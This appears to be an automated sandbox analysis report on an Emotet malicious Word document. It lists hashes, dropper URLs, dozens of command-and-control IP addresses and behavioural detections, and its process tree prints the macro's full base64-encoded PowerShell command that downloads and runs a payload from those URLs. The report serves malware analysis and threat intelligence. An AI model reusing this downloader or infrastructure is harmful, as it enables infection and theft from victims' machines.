Analysis
- max time kernel
135s - max time network
138s - platform
windows10_x64 - resource
win10 - submitted
17/08/2020, 23:26
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_a6843ba695ff6d9b98c1710de18540fb64fbd14e5600bdcaf2bb08c8d5d4e879_2020-08-17__232526._doc.doc
Resource
win7v200722
General
- Target emotet_e3_a6843ba695ff6d9b98c1710de18540fb64fbd14e5600bdcaf2bb08c8d5d4e879_2020-08-17__232526._doc.doc
- Size 234KB
- Sample200817-755envxlpe
- SHA256 a6843ba695ff6d9b98c1710de18540fb64fbd14e5600bdcaf2bb08c8d5d4e879
- MD5 b9056174920a0cc213bb029c768fc6c9
- SHA1 ede30bfd469af7e5753e9a80085c073be3a4d301
- SHA512 47a9e6e497aa3bf03dae85eaf46901782f6be03a97b43303f9a148d49ed823e6c32ae68fb7b39bb6dd734dec64e3be46664625b68a7e1482b5ba1d045280d3d2
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://identisoft.pt/istore/uyg0iy068972/
-
exe.dropper
http://digitalumesh.tech/cgi-bin/mUl/
-
exe.dropper
http://cidadehoje.pt/wp-includes/mDobpkdtbyht707/
-
exe.dropper
http://conferenceroom.ge/wp-content/kEUjjuivo101725/
-
exe.dropper
http://www.xindisk.com/w48o/TZJS/
Extracted
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emotet
-
186.109.104.67:80
-
185.86.148.68:443
-
139.99.157.213:8080
-
203.153.216.178:7080
-
192.163.221.191:8080
-
201.235.10.215:80
-
37.46.129.215:8080
-
78.189.60.109:443
-
77.74.78.80:443
-
143.95.101.72:8080
-
188.251.213.180:443
-
31.146.61.34:80
-
190.53.144.120:80
-
105.209.235.113:8080
-
115.78.11.155:80
-
172.96.190.154:8080
-
50.116.78.109:8080
-
188.0.135.237:80
-
179.62.238.49:80
-
197.83.232.19:80
-
92.24.51.238:80
-
115.165.3.213:80
-
177.144.130.105:443
-
139.59.12.63:8080
-
107.161.30.122:8080
-
182.176.95.147:80
-
181.134.9.162:80
-
179.5.118.12:80
-
198.57.203.63:8080
-
51.38.201.19:7080
-
187.64.128.197:80
-
176.9.93.82:7080
-
115.79.195.246:80
-
46.105.131.68:8080
-
91.83.93.103:443
-
87.106.231.60:8080
-
195.201.56.70:8080
-
185.142.236.163:443
-
181.114.114.203:80
-
192.241.220.183:8080
-
182.187.139.200:8080
-
217.199.160.224:8080
-
190.190.15.20:80
-
46.32.229.152:8080
-
202.5.47.71:80
-
71.57.180.213:80
-
178.33.167.120:8080
-
181.113.229.139:443
-
66.61.94.36:80
-
216.75.37.196:8080
-
86.57.216.23:80
-
74.208.173.91:8080
-
81.214.253.80:443
-
172.105.78.244:8080
-
157.7.164.178:8081
-
185.208.226.142:8080
-
177.94.227.143:80
-
105.213.67.88:80
-
97.104.107.190:80
-
5.79.70.250:8080
-
75.127.14.170:8080
-
81.17.93.134:80
-
41.185.29.128:8080
-
190.212.140.6:80
-
113.161.148.81:80
-
177.32.8.85:80
-
105.184.233.166:80
-
201.213.177.139:80
-
177.37.81.212:443
-
192.210.217.94:8080
-
190.164.75.175:80
-
41.84.237.198:443
-
212.112.113.235:80
-
203.153.216.182:7080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1884 3752 powersheLL.exe 68 - Emotet Payload 5 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3692-12-0x00000000009F0000-0x00000000009FC000-memory.dmp emotet behavioral2/memory/3692-12-0x00000000009F0000-0x00000000009FC000-memory.dmp emotet behavioral2/memory/2324-15-0x0000000000820000-0x000000000082C000-memory.dmp emotet behavioral2/memory/2324-15-0x0000000000820000-0x000000000082C000-memory.dmp emotet behavioral2/memory/3692-17-0x0000000000000000-mapping.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 7 1884 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3692 Xa00ecv.exe 2324 mfvdsp.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\secproc_ssp\mfvdsp.exe Xa00ecv.exe - Program crash 1 IoCs
pid pid_target Process procid_target 1000 3692 WerFault.exe 73 - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2920 WINWORD.EXE 2920 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 22 IoCs
pid Process 1884 powersheLL.exe 1884 powersheLL.exe 1884 powersheLL.exe 2324 mfvdsp.exe 2324 mfvdsp.exe 1000 WerFault.exe 1000 WerFault.exe 1000 WerFault.exe 1000 WerFault.exe 1000 WerFault.exe 1000 WerFault.exe 1000 WerFault.exe 1000 WerFault.exe 1000 WerFault.exe 1000 WerFault.exe 1000 WerFault.exe 1000 WerFault.exe 1000 WerFault.exe 1000 WerFault.exe 1000 WerFault.exe 2324 mfvdsp.exe 2324 mfvdsp.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 1884 powersheLL.exe Token: SeRestorePrivilege 1000 WerFault.exe Token: SeBackupPrivilege 1000 WerFault.exe Token: SeDebugPrivilege 1000 WerFault.exe - Suspicious use of SetWindowsHookEx 15 IoCs
pid Process 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE 2920 WINWORD.EXE 3692 Xa00ecv.exe 3692 Xa00ecv.exe 2324 mfvdsp.exe 2324 mfvdsp.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1884 wrote to memory of 3692 1884 powersheLL.exe 73 PID 1884 wrote to memory of 3692 1884 powersheLL.exe 73 PID 1884 wrote to memory of 3692 1884 powersheLL.exe 73 PID 3692 wrote to memory of 2324 3692 Xa00ecv.exe 75 PID 3692 wrote to memory of 2324 3692 Xa00ecv.exe 75 PID 3692 wrote to memory of 2324 3692 Xa00ecv.exe 75
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_a6843ba695ff6d9b98c1710de18540fb64fbd14e5600bdcaf2bb08c8d5d4e879_2020-08-17__232526._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2920
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABUADUAaQByADIAMgB3AD0AKAAnAEcAMgA0AGUANgBoACcAKwAnADUAJwApADsAJgAoACcAbgBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBOAFYAOgB0AEUAbQBwAFwATwBGAGYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBjAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAEMAVQBgAFIAaQB0AFkAcAByAE8AYABUAE8AYwBvAGwAIgAgAD0AIAAoACcAdABsAHMAMQAyACwAIAAnACsAJwB0AGwAcwAnACsAJwAxADEALAAnACsAJwAgACcAKwAnAHQAbABzACcAKQA7ACQAVABwAHcAbwAxAGIAMgAgAD0AIAAoACcAWABhADAAMABlAGMAJwArACcAdgAnACkAOwAkAEIAMwA2AHoAaAA1ADYAPQAoACcATQBuAGMAJwArACcAMgA1AHcAagAnACkAOwAkAFQAcABoAG0AdQB6AHkAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAB9AE8AZgAnACsAJwBmAGkAJwArACcAYwBlADIAMAAxACcAKwAnADkAJwArACcAewAwAH0AJwApAC0ARgAgACAAWwBjAEgAQQBSAF0AOQAyACkAKwAkAFQAcAB3AG8AMQBiADIAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAFYAOABkADUANwB0AGkAPQAoACcAUAAnACsAJwBlACcAKwAnAHMAegBkADMAZQAnACkAOwAkAE8AMABhAHoAbwBtAG8APQAmACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBlAEIAYwBsAGkAZQBuAFQAOwAkAEgAMQA2AHcAZQA1AGgAPQAoACcAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8ALwBpAGQAZQBuAHQAaQBzAG8AJwArACcAZgAnACsAJwB0AC4AJwArACcAcAAnACsAJwB0AC8AJwArACcAaQBzAHQAbwByAGUALwB1AHkAZwAwAGkAJwArACcAeQAnACsAJwAwADYAJwArACcAOAAnACsAJwA5ACcAKwAnADcAMgAvACoAJwArACcAaAB0AHQAcAA6AC8ALwBkAGkAZwAnACsAJwBpACcAKwAnAHQAJwArACcAYQBsAHUAbQBlACcAKwAnAHMAaAAuAHQAZQAnACsAJwBjAGgAJwArACcALwBjAGcAJwArACcAaQAtAGIAJwArACcAaQBuAC8AbQBVAGwALwAqAGgAdAB0AHAAOgAvAC8AYwBpACcAKwAnAGQAYQBkAGUAaABvACcAKwAnAGoAZQAuAHAAdAAvACcAKwAnAHcAcAAtAGkAbgBjAGwAJwArACcAdQBkAGUAcwAvAG0ARABvAGIAcABrACcAKwAnAGQAdAAnACsAJwBiACcAKwAnAHkAaAB0ADcAMAA3AC8AKgAnACsAJwBoAHQAdABwADoALwAnACsAJwAvAGMAJwArACcAbwBuACcAKwAnAGYAZQAnACsAJwByACcAKwAnAGUAbgBjAGUAJwArACcAcgAnACsAJwBvAG8AbQAnACsAJwAuAGcAZQAnACsAJwAvAHcAcAAnACsAJwAtAGMAbwBuACcAKwAnAHQAZQBuAHQALwBrAEUAJwArACcAVQBqAGoAdQBpAHYAbwAnACsAJwAxADAAMQA3ADIAJwArACcANQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcAA6AC8ALwAnACsAJwB3AHcAdwAuAHgAaQAnACsAJwBuACcAKwAnAGQAaQBzAGsALgBjAG8AbQAvAHcANAA4AG8ALwBUAFoAJwArACcASgBTACcAKwAnAC8AJwApAC4AIgBTAGAAcABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAeQBwAF8ANwA4AGMAPQAoACcAWAAyAHgAJwArACcAcwBmACcAKwAnAGQAeQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABDAGkAdwA1AHYAYwBjACAAaQBuACAAJABIADEANgB3AGUANQBoACkAewB0AHIAeQB7ACQATwAwAGEAegBvAG0AbwAuACIAZABPAHcAYABOAEwAbwBBAEQAZgBgAEkAbABFACIAKAAkAEMAaQB3ADUAdgBjAGMALAAgACQAVABwAGgAbQB1AHoAeQApADsAJABVAF8AZQBoADAAMwAxAD0AKAAnAE4AJwArACcAbQBlAGQAbQBnADAAJwApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFQAcABoAG0AdQB6AHkAKQAuACIAbABlAE4AYABnAFQASAAiACAALQBnAGUAIAAzADQAMgA0ADcAKQAgAHsAJgAoACcASQBuACcAKwAnAHYAJwArACcAbwBrAGUALQBJAHQAZQBtACcAKQAoACQAVABwAGgAbQB1AHoAeQApADsAJABKAHMAZwBnAGoAZAA5AD0AKAAnAFIAOAAnACsAJwBlACcAKwAnADgAMgBvAHMAJwApADsAYgByAGUAYQBrADsAJABFADgAZQB4ADgAMQBzAD0AKAAnAFgAcQB1ACcAKwAnADQAMABkADIAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAGoAMwB3AHMAZQB0AD0AKAAnAEYAJwArACcAbgBrADYAdgB4ADQAJwApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1884 -
C:\Users\Admin\AppData\Local\Temp\Office2019\Xa00ecv.exe"C:\Users\Admin\AppData\Local\Temp\Office2019\Xa00ecv.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3692 -
C:\Windows\SysWOW64\secproc_ssp\mfvdsp.exe"C:\Windows\SysWOW64\secproc_ssp\mfvdsp.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2324
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3692 -s 3523⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1000
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-